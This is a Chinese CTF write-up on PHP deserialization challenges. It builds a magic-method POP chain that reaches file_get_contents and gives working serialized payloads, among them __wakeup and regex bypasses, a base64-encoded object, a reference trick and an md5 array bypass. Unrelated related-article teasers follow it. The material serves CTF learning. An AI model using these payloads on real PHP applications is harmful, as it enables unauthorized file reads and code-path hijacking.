php反序列化题目

[NewStarCTF 公开赛赛道]UnserializeOne

分析代码,最终需要调用到   file_get_contents 即可获得flag
从后往前分析

触发 __invoke 需要 以调用函数的方式调用一个对象
可以找到Start类 里的__isset中可以将类当作函数调用

所以需要调用到 __isset  就需要 isset() 或 empty() ,可以发现在 eeee类中存在
又需要调用 __clone  方法,当对象被复制时调用,
再继续找,可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件
这又需要去调用到 __call 方法,在对象中调用一个不可访问方法时,__call() 会被调用
可以发现在 Sec 类 中  使用了一个 check()方法,但是这个方法是不存在的,正好满足__call() 的条件,这又需要调用到 __toString 方法,一个类被当成字符串时被调用,
可以在Start类中发现,将 $name 实例化为一个类就可满足类被当作字符串使用

 

这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用,这样就可以串起来了

Start类 - __destruct  --->  Sec类- __toString  --->  Easy类 -__call  ---> eeee类-__clone
   ---> Start类- __isset  ---> Sec 类- __invoke --->file_get_contents

链子出来了,就需要去本地构造序列化了

<?php

class Start{

    public $name;

    public $func;

}

class Sec{

    public $obj;

    public $var;

}

class Easy{

    public $cla;

}

class eeee{

    public $obj;

}

尝试了几次失败的,构造的有点问题

// $a=new Start(new Sec(new Easy(new eeee(new Start(new Sec())))));

// O:5:"Start":2:{s:4:"name";N;s:4:"func";N;}

// $a=new Start();

// $a->name=new Sec();

// $a->name->obj=new Easy(new eeee(new Start(new Sec())));

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";N;}s:4:"func";N;}

$a=new Start();

$a->name=new Sec();

$a->name->obj=new Easy();

$a->name->var=new eeee();

$a->name->var->obj=new Start();

$a->name->var->obj->func=new Sec();

echo serialize($a);

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

最后这个可以成功得到flag

Web_php_unserialize

需要绕过的点:
__wakeup 绕过 : 修改序列化字符串中属性的数量,使其比实际属性数量多

preg_match('/[oc]:\d+:/i', $var):表示匹配o或c加冒号加任意数字的形式
绕过:在数字前面加上 + 即可绕过

因为需要  base64编码 代码里面使用了private 又麻烦了点,不能直接序列化后改,

使用函数去改

<?phpclass Demo { private $file = 'index.php';
}$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b=str_replace('O:','O:+',$b);
$b=str_replace('s:','s:+',$b);
$b=str_replace('"Demo":1','"Demo":2',$b);
echo $b;
echo base64_encode($b);
//Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9

?var=TzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9

unserialize3

绕过__wakeup  :  修改序列化字符串中属性的数量,使其比实际属性数量多

<?phpclass xctf{
public $flag = '111';
}
$a= new xctf();
$a=serialize($a);
echo $a;
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

BUU CODE REVIEW 1

关键点在于要使 $correct === $input  但是每次执行 $ccorrect 都会被赋予一个新的量,
所以使用  & 符号   使$input指向$correct 的地址,就能保证它们的值相等,因为都是指向的同一个地址,是同一个值

<?phpclass BUU {public $correct = "";public $input = "";}$a=new BUU();$a->input=&$a->correct;echo serialize($a);//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

然后就是 md5的弱比较,直接传数组比较简单
GET:   ?pleaseget=1

POST:  pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/800011.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

提示工程中的10个设计模式

我们可以将提示词定义为向大型语言模型(Large Language Model&#xff0c;LLM)提供的一个查询或一组指令&#xff0c;这些指令随后使模型能够维持一定程度的自定义或增强&#xff0c;以改进其功能并影响其输出。我们可以通过提供细节、规则和指导来引出更有针对性的输出&#x…

组合数(费马小定理, 快速幂)

给定 n 组询问&#xff0c;每组询问给定两个整数 a&#xff0c;b&#xff0c;请你输出 Cbamod(1097)的值。 输入格式 第一行包含整数 n。 接下来 n 行&#xff0c;每行包含一组 a 和 b。 输出格式 共 n 行&#xff0c;每行输出一个询问的解。 数据范围 1≤n≤10000, 1≤…

gcc/g++:预编译阶段查看层级依赖可用宏列表

预编译阶段查看层级依赖可用宏列表首先需要找到需要包含头文件的位置&#xff0c;然后进行引入。 示例&#xff1a; 1&#xff09;用户头文件 /*brief design and implements of demo-for-precompile.author wenxuanpeiemail 15873152445163.com(query for any question here…

HBase不过是用个hash算法在逻辑上拼凑的数据表而已,到底有什么厉害的地方?

HBase不过是用个hash算法在逻辑上拼凑的数据表而已&#xff0c;到底有什么厉害的地方&#xff1f; HBase 的核心设计理念是利用哈希算法和键值对&#xff08;key-value pair&#xff09;来达到高效、可扩展的大数据存储和查找。 HBase是一个分布式的、可扩展的、大规模数据存储…

iOS代码加固与保护方法详解 - 提升iOS应用安全性的关键步骤

憧憬blog主页 在强者的眼中&#xff0c;没有最好&#xff0c;只有更好。我们是移动开发领域的优质创作者&#xff0c;同时也是阿里云专家博主。 ✨ 关注我们的主页&#xff0c;探索iOS开发的无限可能&#xff01; &#x1f525;我们与您分享最新的技术洞察和实战经验&#xff0…

基于大模型的态势认知智能体

源自&#xff1a;指挥控制与仿真 作者&#xff1a;孙怡峰, 廖树范, 吴疆 李福林 “人工智能技术与咨询” 发布 摘要 针对战场态势信息众多、变化趋势认知困难的问题,提出基于大模型的态势认知智能体框架和智能态势认知推演方法。从认知概念出发,结合智能体的抽象性、具…

大厂高频面试题复习JAVA学习笔记-JUC多线程及高并发(上)

目录 0 JUC基础概念 wait/sleep的区别 并发与并行的区别 线程的六个状态 JUC结构 ​编辑 1 请谈谈你对volatile的理解 JMM&#xff08;java内存模型&#xff09; 可见性 不保证原子性 有序性​编辑 指令重排 哪些地方用到volatile&#xff1a; 双端检查机制DLC …

MySQL-6.表的高级查询(多表查询、子查询、表复制、合并查询、表外连接)

6.1 多表查询 基于两个或以上表的查询&#xff0c;默认从表1取出一行&#xff0c;与表2的每一行组合&#xff0c;返回的记录数为表1表2&#xff0c;默认返回的结果为笛卡尔集&#xff0c;需写出正确的WHERE条件进行筛选。 多表查询的条件不能少于表的个数-1&#xff0c;否则会…

按关键字搜索商品API接口搜索关键字,显示商品总数,标题,图片,优惠价参数等

按关键字搜索商品API接口通常用于根据关键字搜索商品&#xff0c;并返回商品的相关信息。以下是一个示例&#xff0c;说明如何使用Python调用按关键字搜索商品API接口。 item_search-按关键字搜索淘宝商品 公共参数 API接口请求地址:调用key 名称类型必须描述keyString是调用…

LeetCode刷题之105. 从前序与中序遍历序列构造二叉树

文章目录 1.题目描述2. 分析2.1 前序遍历2.1.1 什么是前序遍历&#xff1f;2.1.2 前序遍历有什么特点&#xff1f; 2.2 中序遍历2.2.1 什么是中序遍历2.2.2 中序遍历有什么特点&#xff1f; 2.3 后序遍历2.3.1 什么是后序遍历&#xff1f;2.3.2 特点 2.4 总结 3. 解法 1.题目描…

漏洞挖掘 | 两个src案例分享

案例一 - 存储型XSS 文前废话:某天正在刷着**社区的帖子,突然间评论区的一条评论引起了我的注意,类似于下面这样 其中字体是蓝色的&#xff0c;这种评论在html标签中代码格式是<a>这是文字</a>这样的链接个格式。 同时评论区XSS漏洞的高发区,想着可能会有操作点 …

vue路由跳转页面

目录 1、打开工程文件夹&#xff0c;cmd到命令窗口 2、安装vue-router 3、在src/router/index.js中创建路由器&#xff0c;并导出 4、在main.js中引入路由 5、声明router-view标签&#xff0c;展示组件内容 6、页面跳转 1、打开工程文件夹&#xff0c;cmd到命令窗口 2、…

每日一题|字符迁移【算法赛】|字符数组+前缀和+差分

每日一题|字符迁移【算法赛】 字符迁移 心有猛虎&#xff0c;细嗅蔷薇。你好朋友&#xff0c;这里是锅巴的C\C学习笔记&#xff0c;常言道&#xff0c;不积跬步无以至千里&#xff0c;希望有朝一日我们积累的滴水可以击穿顽石。 字符迁移 注意&#xff1a; 预习知识&#xf…

C# 字符串和枚举类型互相转换

string 转TEnum if (Enum.IsDefined(typeof(TEnum), s)) {TEnum e (TEnum)Enum.Parse(typeof(TEnum), s); } 或 Enum.TryParse<TEnum>(s, out TEnum e); TEnum 转 string string s e.ToString(); 或 string s Enum.GetName(typepof(TEnum), e);

【InternLM 实战营第二期笔记】使用茴香豆搭建你的RAG智能助理

RAG RAG是什么 RAG&#xff08;Retrieval Augmented Generation&#xff09;技术&#xff0c;通过检索与用户输入相关的信息片段&#xff0c;并结合外部知识库来生成更准确、更丰富的回答。解决 LLMs 在处理知识密集型任务时可能遇到的挑战, 如幻觉、知识过时和缺乏透明、可追…

国产化信创安装tengine代替nginx服务

1.上传最新下载的xxx.tar.gz包&#xff0c;下载地址https://tengine.taobao.org/download.html2.解压tar -xvf xxx.tar.gz cd进入解压的包 可以给予所有权限chmod 777 -R tengine文件夹3.cd 进入tengine文件夹执行编译./configure --prefix/usr/local/nginx --with-http_stub_…

LeetCode-34. 在排序数组中查找元素的第一个和最后一个位置【数组 二分查找】

LeetCode-34. 在排序数组中查找元素的第一个和最后一个位置【数组 二分查找】 题目描述&#xff1a;解题思路一&#xff1a;二分查找&#xff0c;用start bisect.bisect_left(nums, target)。end bisect.bisect_left(nums,target1) -1 之后return [start, end]解题思路二&…

C++STL(list类)

文章目录 1.list类的介绍2.list的基本用法2.1 基本用法2.2 迭代器失效2.3 reverse(逆置)2.3 sort(排序)2.4 unique(去重)2.5 splice(转移) 3.list的底层(模拟实现)3.1 list的3.2 修改链表问题3.3 完整代码 1.list类的介绍 list是可以在常数范围内在任意位置进行插入和删除的序列…

vue3使用@antv/x6-边工具的右键菜单实现

官方文档是react实现的&#xff0c;但项目里使用的vue3elementPlus&#xff0c;经过研究后通过以下方式实现&#xff1a; 在根目录的index.html里添加右键菜单的元素 <body> <!-- 模型的自定义工具容器 --><div id"graph-dropdown"></div>…

Leetcode面试经典150_Q27移除元素

题目&#xff1a;给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组…